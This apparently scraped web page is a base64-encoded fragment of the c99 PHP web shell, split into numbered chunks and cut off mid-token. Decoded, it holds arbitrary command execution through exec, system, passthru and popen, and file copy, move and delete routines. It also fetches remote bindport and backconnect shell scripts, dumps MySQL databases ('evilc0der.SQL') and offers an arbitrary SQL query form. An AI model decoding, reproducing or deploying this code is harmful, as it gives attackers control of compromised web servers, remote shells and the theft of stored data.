cigkZCwkdCkNCnsNCiAkaCA9IG9wZW5kaXIoJGQpOw0KIGlmICghaXNfZGlyKCR0KSkge21rZGly KCR0KTt9DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAo KCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgJHJldCA9IFRSVUU7DQogICBp ZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJ UkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxz ZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2Rpcigk ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJl dCA9IEZBTFNFO319DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xv c2VkaXIoJGgpOw0KIHJldHVybiBUUlVFOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZz X21vdmVfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkNCnsNCiAkZCA9IHN0 cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFj ZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmIChpc19kaXIoJGQpKQ0KIHsNCiAg aWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9S WV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9S KSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIHJldHVybiBmc19tb3ZlX2RpcigkZCwk dCk7DQogfQ0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpDQogew0KICBpZihjb3B5KCRkLCR0KSkge3Jl dHVybiB1bmxpbmsoJGQpO30NCiAgZWxzZSB7dW5saW5rKCR0KTsgcmV0dXJuIEZBTFNFO30NCiB9 DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19y bWRpciIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1kaXIoJGQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsN CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkNCiB7DQogIGlmICgoJG8gIT0g Ii4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxp bmsoJGQuJG8pO30NCiAgIGVsc2Uge2ZzX3JtZGlyKCRkLiRvLkRJUkVDVE9SWV9TRVBBUkFUT1Ip OyBybWRpcigkZC4kbyk7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiBybWRpcigkZCk7DQog cmV0dXJuICFpc19kaXIoJGQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2Jq IikpDQp7DQpmdW5jdGlvbiBmc19ybW9iaigkbykNCnsNCiAkbyA9IHN0cl9yZXBsYWNlKCJcXCIs RElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogaWYgKGlzX2RpcigkbykpDQogew0KICBpZiAoc3Vi c3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFS QVRPUjt9DQogIHJldHVybiBmc19ybWRpcigkbyk7DQogfQ0KIGVsc2VpZiAoaXNfZmlsZSgkbykp IHtyZXR1cm4gdW5saW5rKCRvKTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICgh ZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKQ0Kew0KZnVuY3Rpb24gbXlzaGVsbGV4ZWMo JGNtZCkNCnsNCiBnbG9iYWwgJGRpc2FibGVmdW5jOw0KICRyZXN1bHQgPSAiIjsNCiBpZiAoIWVt cHR5KCRjbWQpKQ0KIHsNCiAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgi ZXhlYyIsJGRpc2FibGVmdW5jKSkge2V4ZWMoJGNtZCwkcmVzdWx0KTsgJHJlc3VsdCA9IGpvaW4o
  • 5. IlxuIiwkcmVzdWx0KTt9DQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBGQUxTRSkg e30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVt IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBz eXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBl Y2hvICR2O30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBhbmQgIWluX2FycmF5 KCJwYXNzdGhydSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2Jf Y2xlYW4oKTsgcGFzc3RocnUoJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBv Yl9jbGVhbigpOyBlY2hvICR2O30NCiAgZWxzZWlmIChpc19yZXNvdXJjZSgkZnAgPSBwb3Blbigk Y21kLCJyIikpKQ0KICB7DQogICAkcmVzdWx0ID0gIiI7DQogICB3aGlsZSghZmVvZigkZnApKSB7 JHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7fQ0KICAgcGNsb3NlKCRmcCk7DQogIH0NCiB9DQog cmV0dXJuICRyZXN1bHQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKSB7 ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVsk dl0sICRiWyR2XSk7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zIikpDQp7DQpm dW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQ0Kew0KIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAw eEMwMDApIHskdHlwZSA9ICJzIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQw MDApIHskdHlwZSA9ICJkIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDAp IHskdHlwZSA9ICJsIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHsk dHlwZSA9ICItIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlw ZSA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9 ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJw Ijt9DQogZWxzZSB7JHR5cGUgPSAiPyI7fQ0KDQogJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAw MDQwMCk/InIiOiItIjsNCiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiIt IjsNCiAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOw0KICRncm91 cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApPyJyIjoiLSI7DQogJGdyb3VwWyJ3cml0ZSJdID0g KCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAw MDAxMCk/IngiOiItIjsNCiAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KT8iciI6Ii0i Ow0KICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAkd29ybGRb ImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOw0KDQogaWYgKCRtb2RlICYgMHg4 MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoi UyI7fQ0KIGlmICgkbW9kZSAmIDB4NDAwKSB7JGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWyJl eGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30NCiBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsi ZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQoNCiByZXR1 cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7 DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2Fy cmF5KCJwb3NpeF9nZXRwd3VpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3 dWlkKCR1aWQpIHtyZXR1cm4gRkFMU0U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9n ZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwkZGlzYWJsZWZ1bmMpKSB7 ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KaWYgKCFmdW5j dGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlz YWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQpp ZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2VfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHBhcnNlX3Bl cm1zKCRtb2RlKQ0Kew0KIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJz Ijt9DQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9DQog ZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdCA9ICJsIjt9DQogZWxzZWlm ICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogZWxzZWlmICgoJG1v ZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAw eDIwMDApID09PSAweDIwMDApIHskdCA9ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDAp ID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogZWxzZSB7JHQgPSAiPyI7fQ0KICRvWyJyIl0gPSAo JG1vZGUgJiAwMDQwMCkgPiAwOyAkb1sidyJdID0gKCRtb2RlICYgMDAyMDApID4gMDsgJG9bIngi XSA9ICgkbW9kZSAmIDAwMTAwKSA+IDA7DQogJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7 ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTAp ID4gMDsNCiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAm IDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOw0KIHJldHVybiBhcnJh eSgidCI9PiR0LCJvIj0+JG8sImciPT4kZywidyI9PiR3KTsNCn0NCn0NCmlmICghZnVuY3Rpb25f ZXhpc3RzKCJwYXJzZXNvcnQiKSkNCnsNCmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkNCnsNCiAk b25lID0gaW50dmFsKCRzb3J0KTsNCiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiBpZiAo JHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30NCiByZXR1cm4gYXJyYXkoJG9uZSwkc2Vj b25kKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpDQp7 DQpmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKQ0Kew0KIGlmICghaXNfcmVhZGFibGUoJG8p
  • 6. KSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8 L2ZvbnQ+Ijt9DQogZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xv cj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiBlbHNlIHty ZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9m b250PiI7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWdldHNvdXJjZSIpKQ0Kew0K ZnVuY3Rpb24gYzk5Z2V0c291cmNlKCRmbikNCnsNCiBnbG9iYWwgJGM5OXNoX3NvdXJjZXN1cmw7 DQogJGFycmF5ID0gYXJyYXkoDQogICJjOTlzaF9iaW5kcG9ydC5wbCIgPT4gImM5OXNoX2JpbmRw b3J0X3BsLnR4dCIsDQogICJjOTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50 eHQiLA0KICAiYzk5c2hfYmFja2Nvbm4ucGwiID0+ICJjOTlzaF9iYWNrY29ubl9wbC50eHQiLA0K ICAiYzk5c2hfYmFja2Nvbm4uYyIgPT4gImM5OXNoX2JhY2tjb25uX2MudHh0IiwNCiAgImM5OXNo X2RhdGFwaXBlLnBsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwudHh0IiwNCiAgImM5OXNoX2RhdGFw aXBlLmMiID0+ICJjOTlzaF9kYXRhcGlwZV9jLnR4dCIsDQogKTsNCiAkbmFtZSA9ICRhcnJheVsk Zm5dOw0KIGlmICgkbmFtZSkge3JldHVybiBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfc291cmNl c3VybC4kbmFtZSk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9u X2V4aXN0cygibXlzcWxfZHVtcCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQ0Kew0K IGdsb2JhbCAkc2h2ZXI7DQogJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogJGRiID0gJHNldFsiZGIi XTsNCiAkcHJpbnQgPSAkc2V0WyJwcmludCJdOw0KICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQog JGZpbGUgPSAkc2V0WyJmaWxlIl07DQogJGFkZF9kcm9wID0gJHNldFsiYWRkX2Ryb3AiXTsNCiAk dGFicyA9ICRzZXRbInRhYnMiXTsNCiAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOw0KICRy ZXQgPSBhcnJheSgpOw0KICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiBpZiAoIWlzX3Jlc291cmNl KCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30N CiBpZiAoZW1wdHkoJGRiKSkgeyRkYiA9ICJkYiI7fQ0KIGlmIChlbXB0eSgkcHJpbnQpKSB7JHBy aW50ID0gMDt9DQogaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30NCiBpZiAoZW1wdHko JGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQ0KIGlmIChlbXB0eSgkZmlsZSkpDQogew0K ICAkZmlsZSA9ICR0bXBkaXIuImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRkYi4i XyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7DQogfQ0KIGlmICghaXNfYXJyYXkoJHRhYnMp KSB7JHRhYnMgPSBhcnJheSgpO30NCiBpZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9 IFRSVUU7fQ0KIGlmIChzaXplb2YoJHRhYnMpID09IDApDQogew0KICAvLyByZXRyaXZlIHRhYmxl cy1saXN0DQogICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNv Y2spOw0KICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNx bF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQ0KIH0NCiAkb3V0ID0gIiMg RHVtcGVkIGJ5IGV2aWxjMGRlci5TUUwgdi4gIi4kc2h2ZXIuIg0KIyBIb21lIHBhZ2U6IGh0dHA6 Ly9zZWN1cml0eXByb2JlLm5ldA0KIw0KIyBIb3N0IHNldHRpbmdzOg0KIyBNeVNRTCB2ZXJzaW9u OiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJW RVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iDQojIERhdGU6ICIuZGF0 ZSgiZC5tLlkgSDppOnMiKS4iDQojIERCOiBcIiIuJGRiLiJcIg0KIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIjsNCiAkYyA9IGNvdW50 KCRvbmx5dGFicyk7DQogZm9yZWFjaCgkdGFicyBhcyAkdGFiKQ0KIHsNCiAgaWYgKChpbl9hcnJh eSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQ0KICB7DQogICBpZiAoJGFkZF9kcm9wKSB7JG91 dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgLy8gcmVjaWV2 ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQ0KICAgJHJlcyA9IG15c3FsX3F1ZXJ5 KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOw0KICAgaWYgKCEkcmVzKSB7 JHJldFsiZXJyIl1bXSA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICBlbHNlDQogICB7DQogICAg JHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKTsNCiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xu XG4iOw0KICAgIC8vIHJlY2lldmUgdGFibGUgdmFyaWFibGVzDQogICAgJHJlcyA9IG15c3FsX3F1 ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICBpZiAobXlzcWxfbnVtX3Jv d3MoJHJlcykgPiAwKQ0KICAgIHsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3Nv YygkcmVzKSkNCiAgICAgew0KICAgICAgJGtleXMgPSBpbXBsb2RlKCJgLCBgIiwgYXJyYXlfa2V5 cygkcm93KSk7DQogICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cpOw0KICAgICAgZm9y ZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0K ICAgICAgJHZhbHVlcyA9IGltcGxvZGUoIicsICciLCAkdmFsdWVzKTsNCiAgICAgICRzcWwgPSAi SU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xu IjsNCiAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiAk b3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7DQogaWYgKCRmaWxlKQ0KIHsN CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7DQogIGlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9 IDI7fQ0KICBlbHNlDQogIHsNCiAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgIGZjbG9zZSAoJGZw KTsNCiAgfQ0KIH0NCiBpZiAoJHByaW50KSB7aWYgKCRubDJicikge2VjaG8gbmwyYnIoJG91dCk7 fSBlbHNlIHtlY2hvICRvdXQ7fX0NCiByZXR1cm4gJG91dDsNCn0NCn0NCmlmICghZnVuY3Rpb25f
  • 7. ZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJl KCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpDQp7DQogaWYgKCFpc19hcnJheSgk YXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogJHJlc3VsdCA9ICIiOw0KIGZvcmVhY2goJGFy cmF5IGFzICRrPT4kdikNCiB7DQogICR2YWx1ZSA9ICIiOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNb JGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAkdmFsdWUgLj0gIiciLmFkZHNs YXNoZXMoJHYpLiInIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIiki O30NCiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KIH0NCiAkcmVzdWx0 ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiByZXR1 cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwi KSkNCnsNCmZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spDQp7DQogaWYgKCRz b2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KIGVsc2UgeyRyZXN1 bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpO30NCiAkYXJyYXkgPSBhcnJheSgpOw0KIHdoaWxlICgk cm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KIG15 c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KIHJldHVybiAkYXJyYXk7DQp9DQp9DQppZiAoIWZ1 bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfc21h cnRlcnJvcigkdHlwZSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJv cigkc29jayk7fQ0KIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICRlcnJvciA9IGh0 bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsNCiByZXR1cm4gJGVycm9yOw0KfQ0KfQ0KaWYgKCFmdW5j dGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5 X2Zvcm0oKQ0Kew0KIGdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVy eV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7DQogJHNx bF9xdWVyeSA9IHVybGRlY29kZSgkc3FsX3F1ZXJ5KTsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRz cWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJy b3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJv cjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9y ZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgo ISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRy Pjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJt aXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVy eSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAw IHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48 YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRt bHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJc Ij48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5h bWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4i XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj aGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2 YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3Jt PjwvdGQ+IjsNCiAgaWYgKCR0Ymxfc3RydWN0KQ0KICB7DQogICBlY2hvICI8dGQgdmFsaWduPVwi dG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsNCiAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRm aWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICK7IDxhIGhyZWY9XCIjXCIgb25j bGljaz1cImRvY3VtZW50LmM5OXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1l LiJgJztcIj48Yj4iLiRuYW1lLiI8L2I+PC9hPjxicj4iO30NCiAgIGVjaG8gIjwvdGQ+PC90cj48 L3RhYmxlPiI7DQogIH0NCiB9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25m aXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlv bl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2Ri KCRkYiwkc29jaz0iIikNCnsNCiAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVz KCRkYikuImA7IjsNCiBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7 fQ0KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9u 